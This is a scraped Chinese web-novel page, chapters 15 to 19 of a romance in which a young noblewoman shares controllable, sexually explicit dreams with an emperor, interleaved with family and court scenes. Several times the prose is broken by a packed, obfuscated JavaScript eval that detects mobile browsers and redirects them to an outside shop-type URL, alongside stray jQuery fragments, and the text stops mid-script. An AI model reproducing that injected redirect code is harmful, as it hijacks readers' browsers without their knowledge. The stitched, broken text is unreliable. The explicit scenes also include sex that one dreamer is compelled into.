;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080268|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得甚好。”
随后,他仿似色中饿鬼一般,爱怜而又虔诚地亲吻她的面庞,在她意乱神迷时,温柔解去她的衣裳。
室内不冷不热,一切正好。
秦渊站在床畔,一边暗中发恨,一边不受控制地抱起她,让她面对着自己。
……
寄瑶身体轻颤。
有些兴奋,又有些害怕。唯恐一不留神自己就掉下来。
她紧紧揽住郎君的脖颈,连声道:“小心点,你可别把我摔了。”
声音娇柔,似叮嘱,又似嗔怪。
话一出口,寄瑶就有点后悔,感觉这话说的有点多余。
糊涂了,这是她自己的梦,她怎么可能掉下去呢?
果然,她听到郎君闷声道:“放心吧,我不会让你掉下去。”
寄瑶粲然一笑,亲一亲他的鼻尖,又凑过去对着他的耳朵轻轻吹气。
这是她跟着册子上的小字学的小手段,据说有点用。
大概真的有用,因为下一瞬,她就明显感觉到了郎君的异常。
他耳根发红,手上猛地用力,将她向上一托,还颠了一下。
原本就紧密相连的人更加密不可分。
寄瑶差点惊呼出声,揽着他脖颈的手不自觉用力,只觉得他炽热的呼吸尽数喷洒在她颈窝。
又痒又麻。
寄瑶不由浑身轻颤,周身都泛起了淡淡的粉色。
但此刻她顾不上这些。
翻看画册时,寄瑶期待满满。可现在,她几乎软成了一滩水,只能紧紧抱着面前的郎君,脑海里一片空白。
……
无论能不能控梦,秦渊在这种怪梦里,一直五感皆有,甚至等同于现实中的真实感受。
他厌恶极了这种身不由己、任人摆弄的感觉。但掌下女子年轻柔软的身体、鼻端萦绕着浅浅淡淡的馨香,如在云端的畅快感受……
无疑是一种新鲜、刺激的体验。
因此秦渊内心抗拒的同时,切切实实感受到了一种难以言说的快乐。
突然,怀里的女子身体一颤,力竭般靠在他胸前。
秦渊发现自己好像又能控制梦了。
他想,机会难得,他应该直接将她扔出去。
即便不能在这怪梦里伤害到她,至少也不能再继续这事。
可他全身紧绷,头皮发麻,现在正是关键时候。
身体先一步做出反应,秦渊竟又无意识地继续方才的动作,直到数息后被那灭顶的快感所淹没。
……
夜色沉沉。
秦渊在黑暗中睁开了眼睛,眼神晦暗,脸色更是前所未有的难看。
他一直以为自己拥有常人所不能及的自控、隐忍能力。没想到方才在梦境的最后关头,他竟然没能克制住。
明明清醒,却……
或许也不能怪他失控,是他一时之间没能及时反应过来。
若有下次……
不,最好永远都不要有下次。
深吸一口气,秦渊阖了阖眼睛。他压下心中杂念,起身去了净室。
16.路遇
房间里静悄悄的。
帷帐遮得严严实实,里面一点光亮也没有。
寄瑶躺在床上,一动不动。
梦中情景一幕幕在眼前浮现,格外清晰。
寄瑶脸颊烫得厉害,心脏也砰砰直跳。
刺激是真刺激。可刺激过后,寄瑶只觉得思绪空空,心中一片茫然。
过了一会儿,她才悄悄起身,简单清理,并换了贴身衣裳。
她动作极轻,但睡在外间的双喜还是被惊动了,睡眼朦胧,咕哝着问:“姑娘有什么吩咐?”
“没有没有,你只管睡你的,我没事。”寄瑶连忙回答,一时间心虚又紧张。
梦里她再胆大,可现实中也只是个闺阁女子,这种事若被人知道,她以后真没脸见人了。
好在双喜睡意正浓,也没有多问,翻了个身,继续睡觉。
寄瑶轻吁一口气,放轻脚步回到床榻。
看一眼沙漏,距离天亮还有一会儿,寄瑶没再控梦,老老实实睡觉。
次日,她照常去女学。
休息时,小堂妹梦瑶请她帮忙:“二姐姐,你能写几种‘寿’字?”
“嗯?”寄瑶不解,“什么‘寿’?”
小堂妹苦着脸:“祖父寿辰快到了,我想献一幅百寿图做贺礼。可你也知道,那百寿图,要写整整一百种寿,我哪里能凑够一百个?二姐姐,你帮帮我。”
寄瑶轻笑:“好,我那边有现成的。等下学后,直接让人拿给你看,好不好?”
“当然好了!多谢二姐姐。”梦瑶嘻嘻一笑,抱住堂姐的胳膊撒娇,心里着实松一口气。
她就知道,二姐姐好说话,这种事求二姐姐肯定行。
下了学,寄瑶回到海棠院,取出前年她绣百寿图时提前准备的一百个不同形态的“寿”字,让人给小堂妹送去。
派去六姑娘那儿的人还没回来,海棠院就又迎来一位稀客。
是二堂兄方璘。
方璘是长房次子,比寄瑶年长三岁。和其他方家人一样,也生了一副好相貌。年纪轻轻,身上已有秀才的功名。
他要准备明年的秋试,每日不是埋头读书,就是出门拜访名师。与家里姐妹来往不多。
寄瑶上次见他,还是父亲冥诞,她去城外祭祀时,他好心作陪。
如今听说二堂兄前来,寄瑶甚感意外:“二哥,你怎么来了?”
“这是杏芳斋的点心,你尝尝看合不合口味。”方璘放下点心后,才说明来意,他想借书。
“借什么书?”
“……舟山先生的《江海疏》,传世很少。祖父说,二叔这边可能有一本。我想借来一看。不知道可否方便?”
“方便的。”寄瑶点一点头,“二哥你在这边稍坐一会儿,我去给你找。”
“我和你一起去。”方璘起身,欲一同前往。
寄瑶吓了一跳,连连摆手:“不用不用,你在这儿等着就好,我一会儿就回来。”
父亲书房里可不止有正经书。
虽然藏的隐蔽,可万一给二堂兄看到那些不宜见人的……
不行不行,绝对不行。
方璘意外于她的反应,也没多问,只点一点头:“那就有劳妹妹。”
寄瑶起身去了父亲书房,翻找好一会儿,终于找到那本《江海疏》,拿去给二堂兄。
方璘小心接过:“好,我先拿回去看,过几日就还回来。”
寄瑶只微微一笑。
送走二堂兄,天已经黑了。
可能因为去了一趟父亲的书房,寄瑶有点心不在焉。她有心想将那本《枕间风月图》换个地方,可转念一想:应该没有比现在的位置更隐蔽的了吧?
算了,就还放在那里吧。
是夜,寄瑶躺在床上。
想到最近一段时日,她一直在梦里研究风月,已经好久没同父母好好相处了,心中不由暗暗惭愧。
于是,接下来的数夜,寄瑶都刻意控梦,在父母跟前承欢膝下。
对她而言,这种梦虽然平淡,但自有一种安心的快乐。
……
秦渊近来心情尚可。
他是天子,大权在握,除了朝堂之事,平日烦心事本就不多。
如今接连三夜都没做那种怪梦,对他而言,更是轻松。
就连早朝时,有朝臣以孝道为名,建议他迎回生母。秦渊也没有动怒,只以一句:“太后体弱,需在宫外静养。”给驳了回去。
为了堵朝臣的嘴,免得有人在“孝”字上大做文章,秦渊对祖母白氏更加尊敬。
见寿康宫的所有供应比之前有增无减,太皇太后彻底放下心来。
前几天她还担心惹恼皇帝呢。现在看来,待遇没变。
这就很好。
太皇太后闲来无事,又召了常守安近前说话。
——常公公近来一直在寿康宫当差,她召见也方便。
“你也别愁眉苦脸,等有了机会,哀家替你向陛下求求情,说不定你就能回去了。”
常守安闻言大喜,忙下跪磕头,道谢不迭。
“不必多礼。”太皇太后摆一摆手,“说起来,你也是受哀家连累……”
话未说完,常守安便再次下跪,口中连称“不敢”:“太皇太后这话可是折煞老奴了。”
太皇太后叹一口气,不再细究那件事究竟是谁的责任,只闲话家常一般问:“你说,陛下那天生气是不是因为哀家送的那些人都是宫女出身?”
当年的宫变,太皇太后不清楚具体细节,但也隐约听说过一些。好像除了王太后之外,皇帝身边的宫人也有参与。
后来紫宸宫处决了不少人,说一声血流成河也不为过。
皇帝平时不让宫女伺候,可能就与那件事有关。
常守安勉强扯一扯嘴角,不知道该如何回答。
——他私心里觉得,更有可能是陛下恼他们自作主张。
可他也不能直接说太皇太后猜的不对,便只犹豫着说了一句:“这事儿……老奴也不清楚。”
太皇太后微微蹙眉:“算了算了,他的事情,哀家是再也不管了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084106|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>话虽如此,可作为太皇太后,太后又不在宫中,有些事好像还真得她管。
……
时间过得很快。
一转眼,又是休沐。
算算时间,寄瑶送到裱褙铺的《献寿图》也该装裱好了。
祖父寿辰在即,得先把它取回来。
因为上次出门遇上了点不愉快,寄瑶思前想后,打算这次带个侍卫。
她换了衣裳,拿上凭证,正要同三婶打招呼。不料,刚出海棠院,就遇见了前来还书的二堂兄。
“你要出去?”
“嗯。”
“去做什么?”
寄瑶简单讲了缘由。
方璘笑了:“正好,我看书看得烦了,想出门透透气。我陪你一起,也省得你再叫护卫了。”
“多谢二哥。”寄瑶喜不自胜,连忙道谢。
她本就担心出门带护卫,排场太大还麻烦。二哥愿意作陪,那真是再好不过了。
方璘骑马,寄瑶乘车。不多时,他们到达那家裱褙铺,成功拿到了画。
画装裱得不错,完全符合寄瑶的期待。
方璘也赞不绝口。一为画,二为其装裱。
今日之行非常顺利,只是没想到回来时,他们竟遇上了天子銮驾。
远远的,两个清路使骑在马上,高声吆喝:“天子出行,闲人回避!”
街上百姓闻言,俱是一惊,顿时如潮水般分列道路两旁。
寄瑶坐在马车里,猛然听到这动静,不免心里一慌:“二哥!咱们的车……”
她虽不常出门,可也听说过天子出行,寻常百姓是要避在一旁的。
然而道路两旁狭窄,马车宽敞,只怕不方便停靠。
“没事。”方璘应声安抚一句,迅速做了决断,“旁边有条小巷,我们到里面避一避就是,来得及。”
“嗯。”寄瑶点一点头,心下稍安。
方家的车马避在一旁的小巷中。
外面宽阔的道路上,禁军开道,皇帝的车驾快速经过。
不期然的,寄瑶脑海里浮现出先前听过的关于皇帝的种种传言。
少年登基、斗摄政王、灭佛、囚母、杀弟……
虽说祖父严禁家里议论朝堂之事,但有些事情实在骇人听闻,寄瑶人在深闺偶尔也能听到一两句。
她有心想偷看一眼,瞧瞧那位传说中性情残暴的皇帝究竟长什么模样。到底又胆小不敢,干脆老老实实垂着脑袋,待在马车旁。
整条街道安安静静,只能听到哒哒的马蹄声。
过得好一会儿,天子一行人彻底远去,街道才又恢复了先前的热闹。
寄瑶松一口气,重新坐回车里。
“奇怪,这个时候突然出宫做什么……”方璘骑在马上,有些不解地自言自语。
他声音极低,话一出口,就立刻意识到自己的失言,忙掩饰性地轻咳了两声。
寄瑶在马车里隐约听见二堂兄的声音,没有说话。
她也不知道。
不过第二天,她就知道了。
17.尽兴
是二堂兄方璘告诉她的。
次日傍晚,方璘来到海棠院,也顾不上喝茶,直接压低声音,开门见山:“二妹妹,你猜昨天那位出行,是做什么?”
“我猜不出来。”寄瑶摇一摇头。
她知道二哥口中的“那位”指的是皇帝,但“那位”出行目的,她是一点儿也不知道。
“你听说过霍老将军吗?”
寄瑶点头:“听说过。”
霍老将军之名,在本朝谁人不知?霍家世代忠良,之前奉旨收复西南失地的霍将军,就是霍老将军的儿子。
“听说霍老将军病重,命在旦夕。那位得知以后,亲自去霍家探视,给足了体面。你猜后来怎么样?”二堂兄面带神秘之色。
寄瑶眨了眨眼睛,好奇问道:“怎么样?”
“霍老将军本来已经昏睡不醒了。听见这动静,居然醒了过来。一激动,当场吐了一口血……”
“啊?”寄瑶一惊,“吐血?”
却见二堂兄不紧不慢续道:“是啊,没想到吐血后,居然脱离了性命危险,转危为安了。”
“还能这样?”寄瑶闻言,睁圆了一双眼睛,“那很好呀,是好事啊。”
“对啊,所以我来告诉你。”方璘笑笑。
当然,他告诉这个堂妹,还有另一重原因。
方璘性子跳脱,消息也灵通。祖父严禁家里小辈议论朝堂之事,可他得知此事后憋在心里实在难受,又不好特意出门同别人谈论。心思一转,就想到了这个昨日一起外出的堂妹。
二妹妹安静内敛,安静寡言,告诉她,她肯定不会对外乱传。
“听说霍家对那位格外忠心,当初扳倒……”方璘又说两句后,猛然意识到说的有些多,就咳嗽了一声,压下话头。
寄瑶只微微一笑,当作没听见。
饶是如此,方璘也不忘叮嘱她:“二妹妹,这事我告诉了你,你可千万别告诉别人。”
“嗯,不告诉。”寄瑶认真向他保证,“二哥放心吧。”
方璘喝一盏茶,心满意足地离去。
寄瑶信守承诺,果真不对人讲起霍老将军的事。
不过,她虽然不讲,可这件事也不是什么秘密,没几天就在京中传开了。
有人说霍家连寿材都备下了,霍老将军竟又醒转过来了,这是上天保佑,也有说是天子龙气庇护。
真真假假,没有定论。
唯一能确定的是,皇帝龙颜大悦,又派了不少御医前去霍家诊治,各种贵重补品、珍惜药材如同流水一般被送到霍家。
当然,这和寄瑶关系不大。
皇帝和霍老将军都离她太遥远了,她固然因为霍老将军转危为安而高兴,但也仅限于此。
她的生活照常进行。
这一夜,寄瑶又做梦了。
梦里她正在窗下看棋谱,一抬眼,见郎君走了过来。
寄瑶微微一怔,放下手上的棋谱。
近来她无心风月,只在梦中与父母相处,是有好几天没梦见过他了。
如今乍然在梦里看见他,眉目清冷,风采卓然,那张脸依然是自己喜欢的样子。
寄瑶犹豫了一下,没有刻意控制让他从她面前消失,而是顺其自然,决定继续这个梦。
她冲他伸开了双臂,粲然一笑:“郎君,抱。”
……
秦渊数日来的好心情,在看到梦中女子那一瞬间戛然而止。
这几天,他在朝堂上没遇到什么烦心事,就连病危的霍老将军也奇迹般转危为安。
不料,今夜入梦,竟又梦见了她。
做这种怪梦多次,虽然记不住她的脸,但对她的声音,他已格外熟悉。
听到她那句“郎君,抱”,尤其是“抱”字,秦渊不由地想起上次怪梦,他抱着她行事,最后关头明明能控梦却没能成功克制的情形。
想到前事,秦渊不由面色一沉。
见他站在原地,一动不动,寄瑶叹一口气,心想,怎么回事儿?他怎么又奇奇怪怪的?
不过没关系,小事而已,问题不大。
寄瑶起身近前几步,微微含笑:“怎么啦?是不是几天见不到我,生我气啦?”
然而她心里想的却是,他是有点生我气,但又不舍得对我生气。他不但要抱起我,还要抱着转一圈。
转的时候,裙摆要轻轻漾开,像花盛开时一样的好看。
寄瑶这般一想,秦渊发现自己又不能控梦了。
他不由自主地上前一步,一把揽住她的腰。
这不是他第一次抱她,可仍惊讶于女子腰肢的纤细柔软,不盈一握。
不知怎么,秦渊突然想起那次梦中在书房的逍遥椅上,他握着她的腰……
他眼皮一跳,身体有些发紧,面无表情抱着她原地转了一圈。
衣袂翻飞,女子笑声如同银铃。
秦渊却想到她要哭不哭时的声音。
寄瑶不知道他心中所想,她笑吟吟道:“好啦好啦,你放我下来吧。”
在被放下之前,她心中一动,在郎君脸颊上亲了一下。
秦渊瞥了她一眼,突然发觉自己又能控梦了。
他一言不发,直接用指腹抹去了脸上微湿的吻痕。
这一幕被寄瑶看在眼里,她呆愣一瞬,心下有些不快:不是,他这什么意思?
她轻哼一声,直接凑过去,亲吻他的唇,还恶意地在他唇角轻咬了一口。
心想:我亲他,他应该很激动,很欣喜,要加深这个吻。要亲亲锁骨,亲亲耳垂,再亲一亲别的地方。
她幻想出来的郎君,合该处处符合她的心意、以她为尊才对。
这是寄瑶的梦,她是梦中的主宰。在她的梦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087871|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,只要她强烈想一件事,那件事一定能成。
这次也不例外。
秦渊很快发现自己又不能控梦了。
他手掌掐着女子的腰,重重地加深这个亲吻,同时手上也没闲着,将她箍得紧紧的,像是要把她揉进他身体里去。
梦中各种感受皆十分真实,寄瑶感觉好像有火星子一样,他亲过的地方,又痒又热。她身子轻颤,内心深处不禁生出一些隐秘的期待。
寄瑶迷迷糊糊的,心想:那就试试风月图上的第四页吧?
本来她没想在这个梦里做这些的,可现在气氛已经到了这里了,进行下去似乎顺理成章。
反正只是她的梦,随心而行就是。
天突然黑了。
室内红烛高照,床帐无风自动,旖旎无限。
寄瑶示意郎君去看桌上。
秦渊顺着她手指的方向,目光微移,看见了不知道何时多出来的册子,以及正好翻到的第四页图画。
他眼皮一跳,已能确定:果真和他猜的一样,这女人就是要一页一页照着来。
也不知道她到底什么身份,为何如此热衷此事?
但此刻已不容许他深想,秦渊无法自控地低下头,精准地捕捉到她的耳垂,一边反复亲吻,一边熟练地解下她层层叠叠的衣裙。
欺霜赛雪的肌肤,白得有些炫目。
寄瑶侧卧在拔步床上,如同一弯新雪,被人拥了怀中。
密密麻麻的吻落在她后颈,带着明显的潮意,一点点向下,最终在她美丽而脆弱的蝴蝶骨处流连。
热浪一阵阵袭来。
寄瑶身子不自觉地战栗。她看不见身后人的表情,只觉得自己像是要化掉了,全身到处都热。心内一时茫然,一时欣喜,不知道自己究竟是想逃离,还是想继续。
最终意识模糊,只凭着本能行事。
很快,寄瑶脑海中似有一道白光闪过,大脑一片空白。
……
秦渊看向怀中的女子。
她白皙的肌肤上红潮尚未褪去,就那样窝在他胸前,柔若无骨。
明明这个女人是极可恨的,可此刻,莫名的又有一点可怜的意味。
秦渊突然发现,自己好像又能控梦了。
就这样结束吗?他在心里这样问自己。
现在抽身的话,完全来得及。
秦渊垂眸看一眼身下。
她尽兴了,可他还没有。不但没有尽兴,反而正难受得紧。
而且此时两人紧密相连,密不可分。他稍微一动,便觉头皮阵阵发麻。
罢了,一次是做,两次也是做。都已经到这个地步了,还不如闭着眼继续下去,快点结束。
总好过这般不上不下着。
秦渊咬一咬牙,直接将怀里的女子翻转过来,使她面对着自己。同时继续方才的动作。
18.快意
寄瑶思绪空空,全身上下一点力气也没有。她正在神游天际,还未反应过来,就觉天旋地转,竟被人压在了身下。
“啊?”
原本是疑问的声音瞬间变了味道。寄瑶有些迷茫地眨了眨眼睛,迷迷糊糊地想:是这样吗?
不对吧?不是已经结束了吗?
怎么又开始了?
而且这样式也不对啊,不是第四页的内容,也不是第五页……
“你……”她一时间忘了控梦,下意识出声询问,但才说得一个字,溢出口的声音差点变成尖叫。
她匆忙咬住唇,恐自己在梦中叫出声。
但郎君却似故意的一般,忽轻忽重。
寄瑶有些恼了,狠狠瞪他一眼。可惜此时此刻的她,瞪人实在没有威慑力。她索性抬手在他背上抓了一下。
秦渊轻嘶一声,反压住她作乱的手。
他不是第一次做这种怪梦,却是第一次在自己能控制的情况下行这种事。
不管是想要纾解,还是出于报复,或是其他隐秘的心理。总之,这一次的后半场,他自己掌控节奏。虽未彻底尽兴,但较之前几次确实觉出了几分快意。
醒来之后,秦渊浸在水里,回想着梦中情形,对自己在梦里的所作所为有点难以置信。
不是打定主意要快点结束吗?竟然就这样清醒地做了那么久?还觉得快意?
被迫欢好而已,到底有什么可快意的?他一定是疯了,才会有那种荒唐的念头。
……
夜色沉沉。
寄瑶捂着还在发烫的脸。
原来那种事情居然还可以不止一次。
刺激,实在是刺激。
还好她没在梦里尖叫出声,这刺激也只有她一人知道。
还好还好。
不论在梦里如何,白天寄瑶一直都是安静乖巧的方家二姑娘,再端庄娴静不过。
转眼间,祖父方尚书的寿辰到了。
正好是休沐日。
果然如寄瑶所预料的那样,今年并不大办,只一家人简单吃个饭。
席间,二堂兄起身献上了自己准备的寿礼——是一篇辞藻华丽、情真意切的赋。
——大堂兄外放为官,不在京中,孙辈自然以老二方璘为首。
寄瑶和其他兄弟姐妹也依次奉上了自己的贺礼。
她留神细看,见大家准备的都不是什么贵重物品。或字、或画、或文章、或绣工、或手工……但明显都花了心思。
方尚书捻须而笑,颇为满意,还饶有兴致地一一点评。
现场一片和睦。
寄瑶的姑姑方沛也携子前来祝寿。家宴散后,方沛去了父亲的书房,提起自己的另一层来意:“爹,我想让金德在咱们方家族学读书,不知道行不行?”
“怎么不行?他虽然姓赵,可也是方家的外孙。让他明日就来吧。”
方沛迟疑了一下,又道:“还有一个人,也求到了我跟前。”
“嗯?”方尚书疑惑挑眉,“谁?”
“是金德的大姑姑。”方沛叹一口气。
赵金德有三个姑姑,俱都嫁到了京中,和赵家来往甚密。大姑姑嫁了个姓陆的武官,可惜早死,留下三个儿子。长子早夭,次子袭了武职,到了第三个儿子,赵家大姑姑说什么也不肯让他再走武职,非要让这个儿子读书考科举。
这个儿子倒也聪明,十七岁便考中了秀才,但要想再进一步,就需要名师指点了。陆家在这方面没有人脉。赵家大姑姑没办法,就求到了自己弟弟、弟妹跟前。
“爹,你也知道。我当年刚到赵家,大姑姐帮我很多。她难得开口一次,女儿实在是不好拒绝……”
方尚书沉吟:“你的意思我知道了,明天让那个孩子一并过来,我先看看。若是人品不错,基础也好,就让他留下。”
方沛喜不自胜:“多谢爹!”
……
这件事,寄瑶是第二天知道的。
休息时,小堂妹梦瑶告诉她们:“金德表哥也要来咱们家读书了。以后就和四哥五哥他们一起。”
“嗯。”寄瑶点一点头,回答得中规中矩,“那也好,表兄弟们之间互相督促,可能学的更好。”
“还有一个人,好像是金德表哥的表哥……”
小姑娘连说两个表哥,一旁的三姑娘知瑶噗嗤一声笑了:“什么表哥的表哥……”
“就是表哥的表哥嘛!”梦瑶有点急了,“不信你问二姐姐。二姐姐肯定知道。”
霎时间,两个妹妹的目光齐齐落在寄瑶脸上。
寄瑶定一定神,不紧不慢道:“可能六妹妹说的,是赵表弟姑母那边的亲戚??”
“对,就是!”梦瑶重重点头,“说是他大姑姑的儿子,姓陆。”
知瑶不说话,抬手去捏六妹的耳朵。
寄瑶微笑看她们打闹,心想:姓陆?莫不是先前见过的陆鸣?
这念头只在她心里一闪而过。
方家男女不在同一学堂。族学那边多出几个人,对方家姐妹来说,影响不大。
不过寄瑶没想到,当天她竟遇见了陆鸣。
傍晚下学后,寄瑶一回到海棠院,就听说祖父找她有事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091241|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她匆匆忙忙前去祖父的书房。
刚到前院,远远的,就看见两个人边行便低语,正是表弟赵金德和陆鸣。
突然,赵金德一抬眼看见了她:“二表姐!”
他快步走了过来,冲寄瑶叉手施了一礼,脸上带着明显的兴奋:“我以后也要在这里读书了。外祖父刚才考校了我和表哥的功课,同意我们留下。”
——本来外祖父只打算考校表哥的,可又不想明着区别对待,所以一并考校了他。能得探花出身的外祖父一声夸赞,赵金德颇为自得。
“真好,以后就能时常相见了。”寄瑶笑笑,见陆鸣已行至跟前,便冲他点头致意,“陆公子。”
陆鸣微微一怔,忙也跟着颔首:“方姑娘。”
“表姐,你这是要去哪里?”赵金德好奇地问。
寄瑶指指前面书房的方向:“祖父有事找我。”
赵金德一听,不敢耽搁她的事,忙道:“那你快去。”
寄瑶对二人点一点头,快步离去。
不多时,便来到祖父的书房。
方尚书找她,也不是什么大事。是昨天寿宴收到这个孙女的贺礼,当时子孙都在,他只夸一声好,实则心里感慨颇多,还想到了她早逝的父亲。
昨夜方尚书翻出了几幅次子早年的画作,端详很久,最终决定把它们交给寄瑶保管。
“这些是你父亲生前所画,我留了两幅,余下的你拿回去收着吧。”
见祖父眸带伤感之色,寄瑶心里一酸,眼泪差点掉下来。她抱着画轴,恭敬称是。
——她可以在梦中与父母相会,但很清楚父亲早就不在人世了。
方尚书又道:“你在绘画上有些天赋,若就此埋没,未免可惜。家里你两位婶婶都擅长丹青,闲暇之余,可以多向她们请教。不要总待在海棠院。”
寄瑶忍着心中酸涩,再次称是。
方尚书摆一摆手,寄瑶会意,福身施礼后,抱着画轴离去。
此时太阳已经落山,西边霞光满天,红彤彤一片,刺得人眼睛微微发疼。
回到海棠院后,寄瑶盯着父亲生前画作看了好久,才小心收起来。
是夜,她躺在床上,毫不意外,又做梦了。
梦里她要去寻找父母,一抬眼,却看见了坐在对面的郎君。
两人对视了一眼。寄瑶皱一皱眉,犹豫了一会儿,心中默念:我现在不想和你玩,你走,快点走。
这念头一起,面前的郎君瞬间消失不见。
与此同时,紫宸宫内殿里,年轻的天子猝然睁开了眼睛,神色古怪。
19.樱桃
秦渊很意外。
不是因为他做了怪梦,而是因为这次怪梦持续不过数息。
仿佛只是他的错觉。
但他很确定,的确又一次进入了那个怪梦。而且梦里那女子和他对视之后,用一种意外的、近似于看麻烦的眼神看他。
——虽然记不住她的脸,但那一刻的眼神秦渊绝对不会看错。
他心中无名火蹭蹭直冒。
好一会儿才双目微阖,告诉自己:不必理会。
反正对他而言,不做那怪梦更好。
可不知道怎么回事,秦渊竟久久不能入睡,最终只得又让人点上了安息香。
……
郎君如愿从眼前消失之后,寄瑶才后知后觉意识到,自己刚才的反应似乎有点过了。
和他一起侍奉父母,承欢膝下也很好啊。两人又不是只能做那种事。
她也真是的,这几天想的太多,糊涂了。
好在郎君只是她幻想出来的人,无知无觉的,影响不大。
当然,也没必要再叫回来,她下次注意就是。
是夜,寄瑶刻意控制,在睡梦中与父母相处。
她跟着父亲学画画,跟着母亲学刺绣。仿佛这样,他们就还在她身边。她就还是有爹疼、有娘爱的人。
可惜梦里虽然快乐,醒来之后,难免有点怅然若失。
寄瑶稳一稳心神,迅速调整心情,收拾妥当,继续前往女学。
方家女学的课程较为宽松。寄瑶空闲时间不少。若在以往,她得了空肯定待在海棠院钻研棋谱。但是祖父特意提醒她学画一事,她不好违逆。
略一思索,寄瑶亲自下厨做了一些点心,提着点心去木樨院拜见四婶婶。
四婶婶姓陈,闺名唤作文君。相较于打理方家内务的三婶婶,四婶婶的闲暇时间肯定更多一些。
寄瑶性子内敛,又常年在女学,和家中的伯母、婶母虽相处和睦,但私下都不算特别亲近。因此,这会儿贸然前去拜访,她心中很是紧张。
她站在木樨院外,给自己鼓了好一会儿劲儿,才大着胆子进去。
院子里静悄悄的,并不见仆从忙碌,只有一只小猫正在懒洋洋的晒太阳。
刚进院子,还未近前,就听见房内传来四婶有些不满的声音:“她夫家的外甥就能来方家族学读书,前年我娘家的侄子要来为什么不行?”
寄瑶一惊,顿时停下脚步。
“我和你说了,陆鸣能进族学是父亲特意考校了他的功课,通过了才让进的。”依稀是四叔的声音。
四婶冷哼一声:“什么考校过功课?分明是厚此薄彼。是你爹嫌弃我家。不,不对,不是嫌弃我,是嫌弃你。”
“你少说两句,当心别人听见了不好。”四叔急忙阻止。
“怎么?偏心事你们家做得,我说不得?”
……
寄瑶瞪大了一双眼睛,既尴尬又不安,心知这个时候不好近前。
不但不好近前,还得装作从没来过。
她轻手轻脚退了出去,唯恐发出一丁点声响。
其实四婶婶提到的那件事,寄瑶隐约听说过一些,好像是四婶的娘家侄子想来方族学。祖父单独见过后,没让他进来,而是为他另介绍了一家书院。
当时四婶婶也没多说什么,寄瑶以为皆大欢喜,没想到四婶婶心里一直有芥蒂。
寄瑶轻轻叹一口气,感觉现实中人和人的关系,还是太复杂了一些,远不如梦里轻松。
回到海棠院,看见双喜,寄瑶也不说缘由,只将点心给她吃了。
双喜惊讶:“姑娘,你不是去……”
“先不去了。要是别人问起,你就说我一直待在海棠院。”
双喜不解其意,但还是点一点头:“是。”
寄瑶转身去了父亲的书房,决定找点绘画方面的书籍自己看。她翻找许久,找出了几本合适的。
准备离开时,寄瑶的视线不由自主地落在书柜上方的那本厚书上。
尽管没有翻出里面的风月图细看,但册子里的画面还是不停地在她脑海浮现。
清晰而生动。
仅仅只是想了想,寄瑶就脸红耳热。
回房后,她连喝两盏茶,才将那股体内邪火压了下去。
是夜,寄瑶再次入梦。
一开始,是在庭院里。桃花灼灼开得正艳。
父母正在饮茶。
寄瑶拿了新作的画给父亲看:“请爹爹指正。”
父亲沉吟良久,开始点评,一番评述暗合她的心意。
寄瑶时不时地点一点头,感觉简直说到了她的心坎里。
一旁的母亲突然问道:“乖宝,你女婿呢?这几天怎么不见女婿?”
寄瑶不知道这是不是她内心深处的想法,借母亲的口说出来,只含糊回答一句:“他在房间呢。”
“是么?时候不早了,你该回房休息了。”母亲笑得慈爱,还有些促狭地眨了眨眼睛,“乖宝,不用总陪着我们,你已经陪我们很久了。”
寄瑶不说话,心里却有些意动。
她靠在母亲怀里撒娇,在父母身边赖了好一会儿,才同他们作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 